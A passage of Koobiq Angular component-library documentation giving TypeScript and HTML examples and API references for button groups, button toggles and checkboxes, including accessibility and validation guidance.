        { color: KbqComponentColors.ContrastFade, appearance: KbqButtonStyles.Filled },
        { color: KbqComponentColors.ThemeFade, appearance: KbqButtonStyles.Outline },
        { color: KbqComponentColors.ContrastFade, appearance: KbqButtonStyles.Outline },
        { color: KbqComponentColors.Theme, appearance: KbqButtonStyles.Transparent },
        { color: KbqComponentColors.Contrast, appearance: KbqButtonStyles.Transparent }
    ];
}
```

#### Content

Group items typically contain text or icons.

**Example: Button group content** (`button-group-content`)

```ts button-group-content-example.ts
import { ChangeDetectionStrategy, Component } from '@angular/core';
import { KbqButtonModule } from '@koobiq/components/button';
import { KbqIcon } from '@koobiq/components/icon';

@Component({
    selector: 'button-group-content-example',
    imports: [
        KbqButtonModule,
        KbqIcon
    ],
    template: `
        <div kbq-button-group>
            @for (item of data; track item) {
                <button kbq-button class="kbq-dropdown-trigger">
                    <i kbqButtonPrefix kbq-icon="kbq-diamond_16"></i>
                    {{ item }}
                    <i kbqButtonSuffix kbq-icon="kbq-chevron-down-s_16"></i>
                </button>
            }
        </div>

        <div kbq-button-group>
            @for (item of data; track item) {
                <button kbq-button>
                    <i kbqButtonPrefix kbq-icon="kbq-diamond_16"></i>
                    {{ item }}
                </button>
            }
        </div>

        <div kbq-button-group>
            @for (item of data; track item) {
                <button kbq-button>
                    {{ item }}
                </button>
            }
        </div>

        <div kbq-button-group>
            @for (item of data; track item) {
                <button kbq-button aria-label="Diamond options" class="kbq-dropdown-trigger">
                    <i kbq-icon="kbq-diamond_16"></i>
                    <i kbq-icon="kbq-chevron-down-s_16"></i>
                </button>
            }
        </div>

        <div kbq-button-group>
            @for (item of data; track item) {
                <button kbq-button aria-label="Diamond">
                    <i kbq-icon="kbq-diamond_16"></i>
                </button>
            }
        </div>
    `,
    changeDetection: ChangeDetectionStrategy.OnPush,
    host: {
        class: 'layout-column layout-align-center-center layout-gap-l'
    }
})
export class ButtonGroupContentExample {
    protected readonly data = [
        'Archive',
        'Report',
        'Snooze'
    ] as const;
}
```

Buttons with different content can be combined in a group:

**Example: Button group custom content** (`button-group-custom-content`)

```ts button-group-custom-content-example.ts
import { ChangeDetectionStrategy, Component } from '@angular/core';
import { KbqButtonModule, KbqButtonStyles } from '@koobiq/components/button';
import { KbqComponentColors } from '@koobiq/components/core';
import { KbqIcon } from '@koobiq/components/icon';

@Component({
    selector: 'button-group-custom-content-example',
    imports: [
        KbqButtonModule,
        KbqIcon
    ],
    template: `
        <div kbq-button-group>
            <button kbq-button>
                <i kbqButtonPrefix kbq-icon="kbq-diamond_16"></i>
                {{ data[0] }}
            </button>

            <button kbq-button class="kbq-dropdown-trigger">
                {{ data[1] }}
                <i kbqButtonSuffix kbq-icon="kbq-chevron-down-s_16"></i>
            </button>

            <button kbq-button>
                {{ data[2] }}
            </button>

            <button kbq-button aria-label="More">
                <i kbq-icon="kbq-ellipsis-vertical_16"></i>
            </button>
        </div>
    `,
    changeDetection: ChangeDetectionStrategy.OnPush,
    host: {
        class: 'layout-column layout-align-center-center layout-gap-l'
    }
})
export class ButtonGroupCustomContentExample {
    protected readonly data = [
        'Archive',
        'Report',
        'Snooze'
    ] as const;

    protected readonly color = KbqComponentColors.ContrastFade;
    protected readonly style = KbqButtonStyles.Filled;
}
```

#### Vertical orientation

Only icon buttons can be combined into a vertical group. In a group without a background and outer border, there is no divider between items.

**Example: Button group vertical** (`button-group-vertical`)

```ts button-group-vertical-example.ts
import { ChangeDetectionStrategy, Component } from '@angular/core';
import { KbqButtonColor, KbqButtonModule, KbqButtonStyle, KbqButtonStyles } from '@koobiq/components/button';
import { KbqComponentColors } from '@koobiq/components/core';
import { KbqIcon } from '@koobiq/components/icon';

@Component({
    selector: 'button-group-vertical-example',
    imports: [
        KbqButtonModule,
        KbqIcon
    ],
    template: `
        @for (style of buttonStyles; track style) {
            <div class="layout-row layout-gap-xl">
                <div kbq-button-group [orientation]="'vertical'" [color]="style.color" [kbqStyle]="style.appearance">
                    <button kbq-button aria-label="Plus">
                        <i kbq-icon="kbq-plus_16"></i>
                    </button>
                    <button kbq-button aria-label="Minus">
                        <i kbq-icon="kbq-minus_16"></i>
                    </button>
                </div>
            </div>
        }
    `,
    changeDetection: ChangeDetectionStrategy.OnPush,
    host: {
        class: 'layout-row layout-align-center-center layout-gap-xl'
    }
})
export class ButtonGroupVerticalExample {
    protected readonly buttonStyles: { color: KbqButtonColor; appearance: KbqButtonStyle; gap?: boolean }[] = [
        { color: KbqComponentColors.Contrast, appearance: KbqButtonStyles.Filled },
        { color: KbqComponentColors.ContrastFade, appearance: KbqButtonStyles.Filled },
        { color: KbqComponentColors.ThemeFade, appearance: KbqButtonStyles.Outline },
        { color: KbqComponentColors.ContrastFade, appearance: KbqButtonStyles.Outline },
        { color: KbqComponentColors.Theme, appearance: KbqButtonStyles.Transparent },
        { color: KbqComponentColors.Contrast, appearance: KbqButtonStyles.Transparent }
    ];
}
```

#### Recommendations

- To combine a primary action with less frequent related commands, use [Split Button](https://koobiq.io/en/components/split-button.md).
- To select a single value from multiple options in a form or filters, use [Button Toggle](https://koobiq.io/en/components/button-toggle.md).

### API

The API of `@koobiq/components/button` is listed under Button.

## Button toggle

- Entry point: `@koobiq/components/button-toggle`
- NgModule: `KbqButtonToggleModule`
- Page: https://koobiq.io/en/components/button-toggle/overview

### Overview

A button group is suitable for choosing from a list of 3 to 5 items when they fit in a single row without wrapping.

**Example: Button toggle** (`button-toggle-overview`)

```ts button-toggle-overview-example.ts
import { ChangeDetectionStrategy, Component } from '@angular/core';
import { KbqButtonToggleModule } from '@koobiq/components/button-toggle';
import { KbqIconModule } from '@koobiq/components/icon';

@Component({
    selector: 'button-toggle-overview-example',
    imports: [
        KbqButtonToggleModule,
        KbqIconModule
    ],
    templateUrl: 'button-toggle-overview-example.html',
    changeDetection: ChangeDetectionStrategy.OnPush
})
export class ButtonToggleOverviewExample {}
```

```html button-toggle-overview-example.html
<div class="layout-margin-bottom-m">
    <kbq-button-toggle-group #group1="kbqButtonToggleGroup">
        <kbq-button-toggle [checked]="true" [value]="1">
            <i kbq-icon="kbq-briefcase_16"></i>
            Курьером
        </kbq-button-toggle>
        <kbq-button-toggle [value]="2">
            <i kbq-icon="kbq-briefcase_16"></i>
            Ослик Экспресс
        </kbq-button-toggle>
        <kbq-button-toggle [value]="3">
            <i kbq-icon="kbq-briefcase_16"></i>
            Почтой Средиземья
        </kbq-button-toggle>
    </kbq-button-toggle-group>
</div>

<div class="layout-margin-bottom-m">
    <kbq-button-toggle-group #group2="kbqButtonToggleGroup">
        <kbq-button-toggle [checked]="true" [value]="1">Курьером</kbq-button-toggle>
        <kbq-button-toggle [value]="2">Ослик Экспресс</kbq-button-toggle>
        <kbq-button-toggle [value]="3">Почтой Средиземья</kbq-button-toggle>
    </kbq-button-toggle-group>
</div>

<div>
    <!-- an icon carries no accessible name, so an icon-only toggle needs one of its own -->
    <kbq-button-toggle-group #group3="kbqButtonToggleGroup" aria-label="Способ доставки">
        <kbq-button-toggle aria-label="Курьером" [checked]="true" [value]="1">
            <i kbq-icon="kbq-briefcase_16"></i>
        </kbq-button-toggle>
        <kbq-button-toggle aria-label="Ослик Экспресс" [value]="2">
            <i kbq-icon="kbq-briefcase_16"></i>
        </kbq-button-toggle>
        <kbq-button-toggle aria-label="Почтой Средиземья" [value]="3">
            <i kbq-icon="kbq-briefcase_16"></i>
        </kbq-button-toggle>
    </kbq-button-toggle-group>
</div>
```

#### Disabled

A regular button and a pressed button can each be individually disabled.

**Example: Button toggle disabled partial** (`button-toggle-disabled-partial-overview`)

```ts button-toggle-disabled-partial-overview-example.ts
import { ChangeDetectionStrategy, Component } from '@angular/core';
import { KbqButtonToggleModule } from '@koobiq/components/button-toggle';
import { KbqIconModule } from '@koobiq/components/icon';

@Component({
    selector: 'button-toggle-disabled-partial-overview-example',
    imports: [
        KbqButtonToggleModule,
        KbqIconModule
    ],
    templateUrl: 'button-toggle-disabled-partial-overview-example.html',
    changeDetection: ChangeDetectionStrategy.OnPush
})
export class ButtonToggleDisabledPartialOverviewExample {}
```

```html button-toggle-disabled-partial-overview-example.html
<div class="layout-margin-bottom-m">
    <kbq-button-toggle-group #group1="kbqButtonToggleGroup">
        <kbq-button-toggle [checked]="true" [disabled]="true" [value]="1">
            <i kbq-icon="kbq-play_16"></i>
            Курьером
        </kbq-button-toggle>
        <kbq-button-toggle [value]="2">
            <i kbq-icon="kbq-play_16"></i>
            Ослик Экспресс
        </kbq-button-toggle>
        <kbq-button-toggle [value]="3">
            <i kbq-icon="kbq-play_16"></i>
            Почтой Средиземья
        </kbq-button-toggle>
    </kbq-button-toggle-group>
</div>

<div>
    <kbq-button-toggle-group #group2="kbqButtonToggleGroup">
        <kbq-button-toggle [checked]="true" [value]="1">
            <i kbq-icon="kbq-play_16"></i>
            Курьером
        </kbq-button-toggle>
        <kbq-button-toggle [value]="2">
            <i kbq-icon="kbq-play_16"></i>
            Ослик Экспресс
        </kbq-button-toggle>
        <kbq-button-toggle [disabled]="true" [value]="3">
            <i kbq-icon="kbq-play_16"></i>
            Почтой Средиземья
        </kbq-button-toggle>
    </kbq-button-toggle-group>
</div>
```

When all items are disabled or the pressed button is blocked, the entire group is styled as unavailable for interaction.

**Example: Button toggle disabled all** (`button-toggle-disabled-all-overview`)

```ts button-toggle-disabled-all-overview-example.ts
import { ChangeDetectionStrategy, Component } from '@angular/core';
import { FormsModule } from '@angular/forms';
import { KbqButtonToggleModule } from '@koobiq/components/button-toggle';
import { KbqIconModule } from '@koobiq/components/icon';

@Component({
    selector: 'button-toggle-disabled-all-overview-example',
    imports: [
        KbqButtonToggleModule,
        FormsModule,
        KbqIconModule
    ],
    templateUrl: 'button-toggle-disabled-all-overview-example.html',
    changeDetection: ChangeDetectionStrategy.OnPush
})
export class ButtonToggleDisabledAllOverviewExample {
    model = 1;
}
```

```html button-toggle-disabled-all-overview-example.html
<div class="layout-margin-bottom-m">
    <kbq-button-toggle-group #group1="kbqButtonToggleGroup" [disabled]="true" [(ngModel)]="model">
        <kbq-button-toggle [value]="1">
            <i kbq-icon="kbq-circle-info_16"></i>
            Курьером
        </kbq-button-toggle>
        <kbq-button-toggle [value]="2">
            <i kbq-icon="kbq-circle-info_16"></i>
            Ослик Экспресс
        </kbq-button-toggle>
        <kbq-button-toggle [value]="3">
            <i kbq-icon="kbq-circle-info_16"></i>
            Почтой Средиземья
        </kbq-button-toggle>
    </kbq-button-toggle-group>
</div>

<div>
    <kbq-button-toggle-group #group2="kbqButtonToggleGroup" [disabled]="true">
        <kbq-button-toggle [value]="1">
            <i kbq-icon="kbq-circle-info_16"></i>
            Курьером
        </kbq-button-toggle>
        <kbq-button-toggle [value]="2">
            <i kbq-icon="kbq-circle-info_16"></i>
            Ослик Экспресс
        </kbq-button-toggle>
        <kbq-button-toggle [value]="3">
            <i kbq-icon="kbq-circle-info_16"></i>
            Почтой Средиземья
        </kbq-button-toggle>
    </kbq-button-toggle-group>
</div>
```

#### Width alignment

By default, the size of the button group depends on its content, but there is an additional option to stretch it to the available width. Items share the available space equally, and content inside each button is centered.

**Example: Button toggle alignment** (`button-toggle-alignment-overview`)

```ts button-toggle-alignment-overview-example.ts
import { ChangeDetectionStrategy, Component } from '@angular/core';
import { FormsModule } from '@angular/forms';
import { KbqButtonToggleModule } from '@koobiq/components/button-toggle';
import { KbqIconModule } from '@koobiq/components/icon';

@Component({
    selector: 'button-toggle-alignment-overview-example',
    imports: [
        KbqButtonToggleModule,
        FormsModule,
        KbqIconModule
    ],
    templateUrl: 'button-toggle-alignment-overview-example.html',
    changeDetection: ChangeDetectionStrategy.OnPush
})
export class ButtonToggleAlignmentOverviewExample {
    group = [
        'Курьером',
        'Ослик Экспресс',
        'Почтой Средиземья'
    ];

    model = 0;
}
```

```html button-toggle-alignment-overview-example.html
<kbq-button-toggle-group #group1="kbqButtonToggleGroup" class="layout-margin-bottom-l" stretched [(ngModel)]="model">
    @for (toggle of group; track toggle) {
        <kbq-button-toggle [value]="$index">
            <i kbq-icon="kbq-briefcase_16"></i>
            <span>{{ toggle }}</span>
        </kbq-button-toggle>
    }
</kbq-button-toggle-group>

<kbq-button-toggle-group #group2="kbqButtonToggleGroup" class="layout-margin-bottom-l" stretched>
    @for (toggle of group; track toggle) {
        <kbq-button-toggle [checked]="$index === 1" [value]="$index">
            {{ toggle }}
        </kbq-button-toggle>
    }
</kbq-button-toggle-group>

<!-- an icon carries no accessible name, so an icon-only toggle needs one of its own -->
<kbq-button-toggle-group #group3="kbqButtonToggleGroup" aria-label="Способ доставки" [stretched]="true">
    @for (toggle of group; track toggle) {
        <kbq-button-toggle [aria-label]="toggle" [checked]="$index === 2" [value]="$index">
            <i kbq-icon="kbq-briefcase_16"></i>
        </kbq-button-toggle>
    }
</kbq-button-toggle-group>
```

If text does not fit within a button, it is truncated with an ellipsis. A tooltip with the full name is available on hover or focus.

Mark an icon next to the text with `kbqButtonPrefix` or `kbqButtonSuffix`: it is then laid out outside the truncated text and stays fully visible. An unmarked icon shares one box with the text, and such text is clipped without an ellipsis.

**Example: Button toggle tooltip** (`button-toggle-tooltip-overview`)

```ts button-toggle-tooltip-overview-example.ts
import { ChangeDetectionStrategy, Component } from '@angular/core';
import { FormsModule } from '@angular/forms';
import { KbqButtonToggleModule } from '@koobiq/components/button-toggle';
import { KbqIconModule } from '@koobiq/components/icon';

@Component({
    selector: 'button-toggle-tooltip-overview-example',
    imports: [
        KbqButtonToggleModule,
        FormsModule,
        KbqIconModule
    ],
    template: `
        <kbq-button-toggle-group class="layout-margin-bottom-l" stretched [(ngModel)]="model">
            @for (toggle of group; track toggle) {
                <kbq-button-toggle [value]="$index">
                    {{ toggle }}
                </kbq-button-toggle>
            }
        </kbq-button-toggle-group>

        <kbq-button-toggle-group stretched [(ngModel)]="model">
            @for (toggle of group; track toggle) {
                <kbq-button-toggle [value]="$index">
                    <i kbqButtonPrefix kbq-icon="kbq-briefcase_16"></i>
                    <span>{{ toggle }}</span>
                </kbq-button-toggle>
            }
        </kbq-button-toggle-group>
    `,
    changeDetection: ChangeDetectionStrategy.OnPush
})
export class ButtonToggleTooltipOverviewExample {
    group = [
        'Длинный текст кнопки-переключателя, чтобы показать, как обрезается текст',
        'Ослик Экспресс',
        'Почтой Средиземья'
    ];

    model = 1;
}
```

#### Accessibility

A single-selection group is announced as a `radiogroup` of radio buttons: it is a single tab stop, the arrow keys move focus and selection together, and `Home`/`End` jump to the ends of the group. With `multiple` the toggles become independent toggle buttons in a `group`, each with its own pressed state and its own place in the tab order.

Name the group with `aria-label` or `aria-labelledby` so that its purpose is announced along with the selected item:

```html
<kbq-button-toggle-group aria-label="Delivery method">
    <kbq-button-toggle [value]="1">By courier</kbq-button-toggle>
    <kbq-button-toggle [value]="2">By post</kbq-button-toggle>
</kbq-button-toggle-group>
```

An icon carries no accessible name of its own, so a toggle that projects nothing but icons needs one: `aria-label` and `aria-labelledby` are inputs of the toggle and are forwarded to the inner button, which is the element the name is computed for. In development builds such a toggle logs a warning until it is named.

### API

#### Components

##### KbqButtonToggle (component)

Single button inside of a toggle group.

```ts
@Component({ selector: 'kbq-button-toggle', exportAs: 'kbqButtonToggle' })
class KbqButtonToggle {
    checked = input<boolean | undefined>();
    value = input<NonNullable<unknown> | null | undefined>();
    readonly ariaLabel = input<string | null>(null, {
        alias: 'aria-label'
    });
    readonly ariaLabelledby = input<string | null>(null, {
        alias: 'aria-labelledby'
    });
    disabled = input<boolean | undefined>();
    readonly change = output<KbqButtonToggleChange>();
    get type(): ToggleType;
    get iconType(): string;
    focus(): void;
    focusViaKeyboard(): void;
    onToggleClick(): void;
    markForCheck(): void;
}
```

- `[checked]`: `boolean | undefined` — Whether the button is checked.
- `[value]`: `NonNullable<unknown> | null | undefined` — Value of the toggle. The value of a selected toggle is the value of its group.
- `[aria-label]`: `string | null` — Accessible name of the toggle. Required when the toggle projects nothing but icons.
- `[aria-labelledby]`: `string | null` — Id of the element that labels the toggle.
- `[disabled]`: `boolean | undefined` — Whether the toggle is disabled. A toggle inside a disabled group is disabled as well.
- `(change)`: `KbqButtonToggleChange` — Event emitted when the group value changes.
- `type`: `ToggleType` — Whether the toggle acts as a radio button (a single-selection group) or as a checkbox
  (a multiple-selection group, or a standalone toggle).
- `iconType`: `string` — Whether the toggle holds icons only (`-icon`), icons beside a label (`-icon-text`) or no icon
  at all (`''`). Rendered as the `.kbq-button-toggle-icon`/`.kbq-button-toggle-icon-text` host
  class, which is the only signal a stylesheet gets: CSS cannot see text nodes, so a selector can
  never tell an icon-only toggle from a label that happens to contain an icon.
- `focus()`: `void` — Focuses the button.
- `focusViaKeyboard()`: `void` — Focuses the button as if the user had reached it with the keyboard, showing the focus ring.
- `onToggleClick()`: `void` — Checks the button toggle due to an interaction with the underlying native button.
- `markForCheck()`: `void` — Marks the button toggle as needing checking for change detection.

  Kept for back-compatibility. A toggle now derives `checked` and `disabled` from signals owned
  by its group, so it re-renders on its own and nothing in the library calls this any more.

#### Directives

##### KbqButtonToggleGroup (directive)

Selection group for `KbqButtonToggle`.

By default it behaves like a radio-button group — one toggle at a time, announced as a
`radiogroup` and walked with the arrow keys. With `multiple` the toggles become independent
toggle buttons and the group is announced as a plain `group`.

Name it with a plain `aria-label`/`aria-labelledby` attribute. The host is the very element the
consumer writes, so an input aliased to the same name would only write back what is already
there — and would wipe an `[attr.aria-label]` binding, which never reaches the input.

```ts
@Directive({
    selector: 'kbq-button-toggle-group',
    exportAs: 'kbqButtonToggleGroup'
})
class KbqButtonToggleGroup implements ControlValueAccessor {
    readonly vertical = input<boolean>(false);
    readonly stretched = input<boolean>(false);
    readonly multiple = input<boolean>(false);
    value = model<NonNullable<unknown> | null | undefined>();
    disabled = input<boolean | undefined>();
    readonly change = output<KbqButtonToggleChange>();
    get selected(): KbqButtonToggle | KbqButtonToggle[] | null;
    readonly buttonToggles: Signal<readonly KbqButtonToggle[]>;
    emitChangeEvent(source: KbqButtonToggle): void;
    syncButtonToggle(
        toggle: KbqButtonToggle,
        select: boolean,
        isUserInput?: boolean
    ): void;
    isSelected(toggle: KbqButtonToggle): boolean;
    isPrechecked(toggle: KbqButtonToggle): boolean;
}
```

- `[vertical]`: `boolean` — Whether the toggle group is vertical.
- `[stretched]`: `boolean` — Whether the toggle group stretches to fill its container width, with toggles sharing equal space.
- `[multiple]`: `boolean` — Whether multiple button toggles can be selected.
- `[(value)]`: `NonNullable<unknown> | null | undefined` — Value of the toggle group: an array in multiple-selection mode, a single value otherwise.

  An accessor rather than a `model()`: writing it walks the toggles to find the ones that match,
  and reading it reports the selection. `[(value)]` works all the same.

  An assigned value that corresponds to no toggle is kept and reported as is, so that it applies
  to a toggle rendered later — the same contract as `KbqRadioGroup`. It follows that `value` can
  name a toggle `selected` does not hold: `selected` only ever reports toggles that exist.
- `[disabled]`: `boolean | undefined` — Whether the whole button toggle group is disabled.
- `(change)`: `KbqButtonToggleChange` — Event emitted when the group's value changes.
- `selected`: `KbqButtonToggle | KbqButtonToggle[] | null` — Selected button toggles in the group: an array in multiple-selection mode, one toggle otherwise.
  Only toggles that exist, so a `value` waiting for its toggle is not represented here.
- `buttonToggles`: `Signal<readonly KbqButtonToggle[]>` — Child button toggle buttons.
- `emitChangeEvent()`: `void` — Dispatches a change event for the group value.
  - `source`: `KbqButtonToggle` — Toggle the change originated from. Taken from the interaction rather than from the
    selection, which is empty whenever the last selected toggle of a multiple-selection group is
    unchecked — there is no "last selected" toggle left to report then.
- `syncButtonToggle()`: `void` — Syncs a button toggle's selected state with the model value.
  - `toggle`: `KbqButtonToggle` — Toggle to be synced.
  - `select`: `boolean` — Whether the toggle should be selected.
  - `isUserInput`: `boolean` — Whether the change was a result of a user interaction.
- `isSelected()`: `boolean` — Checks whether a button toggle is selected.
- `isPrechecked()`: `boolean` — Determines whether a button toggle should be checked on init, from the value waiting for it.

#### Classes

##### KbqButtonToggleChange (class)

Change event object emitted by KbqButtonToggle.

```ts
class KbqButtonToggleChange {
    source: KbqButtonToggle;
    value: any;
    constructor(source: KbqButtonToggle, value: any);
}
```

- `source`: `KbqButtonToggle` — The KbqButtonToggle that emits the event.
- `value`: `any` — The value assigned to the KbqButtonToggle.
- `constructor()`
  - `source`: `KbqButtonToggle` — The KbqButtonToggle that emits the event.
  - `value`: `any` — The value assigned to the KbqButtonToggle.

#### Types

##### ToggleType (type)

Acceptable types for a button toggle.

```ts
type ToggleType = 'checkbox' | 'radio';
```

## Checkbox

- Entry point: `@koobiq/components/checkbox`
- NgModule: `KbqCheckboxModule`
- Page: https://koobiq.io/en/components/checkbox/overview

### Overview

Checkbox lets users select independent options and can also represent the selection state of a group.

#### Dual-state

Dual-state is applied using the boolean attribute `[checked]` to show whether the checkbox is checked or not.

**Example: Checkbox** (`checkbox-overview`)

```ts checkbox-overview-example.ts
import { ChangeDetectionStrategy, Component } from '@angular/core';
import { KbqCheckboxModule } from '@koobiq/components/checkbox';
import { KbqFormFieldModule } from '@koobiq/components/form-field';

@Component({
    selector: 'checkbox-overview-example',
    imports: [
        KbqCheckboxModule,
        KbqFormFieldModule
    ],
    templateUrl: 'checkbox-overview-example.html',
    changeDetection: ChangeDetectionStrategy.OnPush
})
export class CheckboxOverviewExample {}
```

```html checkbox-overview-example.html
<div class="layout-column layout-margin-bottom-4xl">
    <kbq-checkbox class="layout-margin-bottom-m">
        <kbq-hint>kbq-hint</kbq-hint>
        Default
    </kbq-checkbox>
    <kbq-checkbox class="layout-margin-bottom-m" [checked]="true">
        <kbq-hint>kbq-hint</kbq-hint>
        Checked
    </kbq-checkbox>
    <kbq-checkbox class="layout-margin-bottom-m" [checked]="false">
        <kbq-hint>kbq-hint</kbq-hint>
        Unchecked
    </kbq-checkbox>
</div>

<div class="layout-column">
    <kbq-checkbox class="layout-margin-bottom-m" [big]="true">
        <kbq-hint>kbq-hint</kbq-hint>
        Default
    </kbq-checkbox>
    <kbq-checkbox class="layout-margin-bottom-m" [big]="true" [checked]="true">
        <kbq-hint>kbq-hint</kbq-hint>
        Checked
    </kbq-checkbox>
    <kbq-checkbox class="layout-margin-bottom-m" [big]="true" [checked]="false">
        <kbq-hint>kbq-hint</kbq-hint>
        Unchecked
    </kbq-checkbox>
</div>
```

#### Indeterminate state (partial selection)

The indeterminate state is applied using the boolean attribute `[indeterminate]` and can be used when you have a group of options and a higher-level checkbox should reflect their state:

- If only some options in the group are selected, the higher-level checkbox appears partially selected (`[indeterminate]="true"`).
- If all are selected, the higher-level checkbox is shown as checked.
- If none are selected, the higher-level checkbox appears unchecked.

**Example: Checkbox indeterminate** (`checkbox-indeterminate`)

```ts checkbox-indeterminate-example.ts
import { ChangeDetectionStrategy, Component, computed, signal } from '@angular/core';
import { KbqCheckboxModule } from '@koobiq/components/checkbox';

@Component({
    selector: 'checkbox-indeterminate-example',
    imports: [KbqCheckboxModule],
    template: `
        <kbq-checkbox [checked]="allSelected()" [indeterminate]="someSelected()" (change)="toggleAll()">
            All event types
        </kbq-checkbox>

        @for (eventType of eventTypes; track eventType) {
            <kbq-checkbox
                class="example-checkbox-indeterminate__child"
                [checked]="selected().has(eventType)"
                (change)="toggle(eventType)"
            >
                {{ eventType }}
            </kbq-checkbox>
        }
    `,
    styles: `
        .example-checkbox-indeterminate__child {
            margin-top: var(--kbq-size-l);
            margin-left: calc(var(--kbq-size-l) + var(--kbq-size-s));
        }
    `,
    changeDetection: ChangeDetectionStrategy.OnPush,
    host: {
        class: 'layout-column layout-align-start-start'
    }
})
export class CheckboxIndeterminateExample {
    protected readonly eventTypes = ['Malware', 'Phishing', 'Ransomware'];
    protected readonly selected = signal(new Set([this.eventTypes[0]]));

    protected readonly allSelected = computed(() => this.selected().size === this.eventTypes.length);
    protected readonly someSelected = computed(() => this.selected().size > 0 && !this.allSelected());

    protected toggleAll(): void {
        this.selected.set(this.allSelected() ? new Set() : new Set(this.eventTypes));
    }

    protected toggle(eventType: string): void {
        this.selected.update((selected) => {
            const next = new Set(selected);

            if (!next.delete(eventType)) {
                next.add(eventType);
            }

            return next;
        });
    }
}
```

#### Click action config

When the user clicks on a `kbq-checkbox`, the default behavior toggles the `checked` value and sets `indeterminate` to `false`.
This behavior can be configured by [providing a new value](https://angular.io/guide/dependency-injection) for `KBQ_CHECKBOX_CLICK_ACTION` on the checkbox.

```ts
providers: [
    { provide: KBQ_CHECKBOX_CLICK_ACTION, useValue: 'check' }
];
```

Possible values: noop, check, check-indeterminate

#### Pseudo checkbox

**Example: Pseudo checkbox** (`pseudo-checkbox`)

```ts pseudo-checkbox-example.ts
import { ChangeDetectionStrategy, Component } from '@angular/core';
import { KbqPseudoCheckboxModule } from '@koobiq/components/core';

@Component({
    selector: 'pseudo-checkbox-example',
    imports: [
        KbqPseudoCheckboxModule
    ],
    template: `
        <div class="layout-column">
            <kbq-pseudo-checkbox />
            <kbq-pseudo-checkbox class="layout-margin-top-l" [state]="'indeterminate'" />
            <kbq-pseudo-checkbox class="layout-margin-top-l" [state]="'checked'" />
        </div>
    `,
    changeDetection: ChangeDetectionStrategy.OnPush
})
export class PseudoCheckboxExample {}
```

#### Multiline

**Example: Checkbox multiline example** (`checkbox-multiline`)

```ts checkbox-multiline-example.ts
import { ChangeDetectionStrategy, Component } from '@angular/core';
import { KbqCheckboxModule } from '@koobiq/components/checkbox';
import { KbqFormFieldModule } from '@koobiq/components/form-field';

@Component({
    selector: 'checkbox-multiline-example',
    imports: [KbqCheckboxModule, KbqFormFieldModule],
    template: `
        <kbq-checkbox>
            I accept the security policy terms and acknowledge the responsibility to safeguard sensitive information
            <kbq-hint>
                Please review our security policy for detailed information about data protection and privacy standards.
                By checking this box, you confirm that you understand and agree to comply with all security
                requirements.
            </kbq-hint>
        </kbq-checkbox>
    `,
    styles: `
        :host {
            display: flex;
            justify-content: center;
        }

        .kbq-checkbox {
            max-width: 400px;
        }
    `,
    changeDetection: ChangeDetectionStrategy.OnPush
})
export class CheckboxMultilineExample {}
```

#### Validation

To show a validation error, bind the checkbox to a form control, apply `required` or `Validators.requiredTrue`, and put the error text in a `kbq-error` inside the checkbox.

To show the error at another moment, for example only after the form is submitted, pass a matcher to the `errorStateMatcher` input. The matchers are described in the [Validation guide](https://koobiq.io/en/other/validation.md).

**Example: Checkbox validation** (`checkbox-validation`)

```ts checkbox-validation-example.ts
import { ChangeDetectionStrategy, Component, signal } from '@angular/core';
import { FormsModule } from '@angular/forms';
import { KbqButtonModule } from '@koobiq/components/button';
import { KbqCheckboxModule } from '@koobiq/components/checkbox';
import { KbqError, KbqHint } from '@koobiq/components/form-field';

@Component({
    selector: 'checkbox-validation-example',
    imports: [FormsModule, KbqCheckboxModule, KbqHint, KbqError, KbqButtonModule],
    template: `
        <form class="example-checkbox-validation layout-column layout-align-start-start layout-gap-l">
            <kbq-checkbox name="agreement" required [(ngModel)]="agreement">
                I accept the terms of the license agreement
                <kbq-hint>Continue without accepting to see the error</kbq-hint>
                <kbq-error>Accept the terms to continue</kbq-error>
            </kbq-checkbox>

            <button color="contrast" kbq-button type="submit">Continue</button>
        </form>
    `,
    // A fixed width keeps the centered example in place whatever the width of the error that appears.
    styles: `
        .example-checkbox-validation {
            width: 320px;
        }
    `,
    changeDetection: ChangeDetectionStrategy.OnPush,
    host: {
        class: 'layout-align-center-center layout-row layout-padding-l'
    }
})
export class CheckboxValidationExample {
    protected readonly agreement = signal(false);
}
```

### API

#### Components

##### KbqCheckbox (component)

A Koobiq checkbox component. Supports all of the functionality of an HTML5 checkbox,
and exposes a similar API. A KbqCheckbox can be either checked, unchecked, indeterminate, or
disabled. Note that all additional accessibility attributes are taken care of by the component,
so there is no need to provide them yourself. However, if you want to omit a label and still
have the checkbox be accessible, you may supply an [aria-label] input.

To show a validation error, put its text in a `kbq-error` inside the checkbox bound to a form control.

```ts
@Component({ selector: 'kbq-checkbox', exportAs: 'kbqCheckbox' })
class KbqCheckbox extends KbqColorDirective implements CanUpdateErrorState {
    readonly errorStateMatcher = input<ErrorStateMatcher>();
    readonly big = input<boolean>(false);
    readonly id = input<string>(this.uniqueId);
    readonly labelPosition = input<'before' | 'after'>('after');
    readonly name = input<string | null>(null);
    readonly value = input<string>();
    readonly clickAction = input<KbqCheckboxClickAction>(
        inject(KBQ_CHECKBOX_CLICK_ACTION, { optional: true }) || undefined
    );
    readonly required = input<boolean>(false);
    checked = input<boolean | undefined>();
    disabled = input<boolean | undefined>();
    indeterminate = model<boolean | undefined>();
    readonly color = input<T | null | undefined>();
    readonly change = output<KbqCheckboxChange>();
    readonly errorState: Signal<boolean>;
    get colorClassName(): string;
    updateErrorState(): void;
    toggle(): void;
    focus(): void;
    setDefaultColor(color: T): void;
}
```

- `[errorStateMatcher]`: `ErrorStateMatcher` — An object used to control when the error state is shown.
- `[big]`: `boolean` — Whether the checkbox uses the big size.
- `[id]`: `string` — A unique id for the checkbox input. If none is supplied — or `null` is bound explicitly — it is
  auto-generated, so a read always yields the id the element actually carries.
- `[labelPosition]`: `'before' | 'after'` — Whether the label should appear after or before the checkbox. Defaults to 'after'
- `[name]`: `string | null` — Name value will be applied to the input element if present
- `[value]`: `string` — The value attribute of the native input element
- `[clickAction]`: `KbqCheckboxClickAction` — Defines the behavior when a user clicks on the checkbox.
- `[required]`: `boolean` — Whether the checkbox is required.
- `[checked]`: `boolean | undefined` — Whether the checkbox is checked.
- `[disabled]`: `boolean | undefined` — Whether the checkbox is disabled.
- `[(indeterminate)]`: `boolean | undefined` — Whether the checkbox is indeterminate. This is also known as "mixed" mode and can be used to
  represent a checkbox with three states, e.g. a checkbox that represents a nested list of
  checkable items. Note that whenever checkbox is manually clicked, indeterminate is immediately
  set to false.
- `[color]`: `T | null | undefined` — Color of the component. A value set in code holds until the input changes, and the default color is used
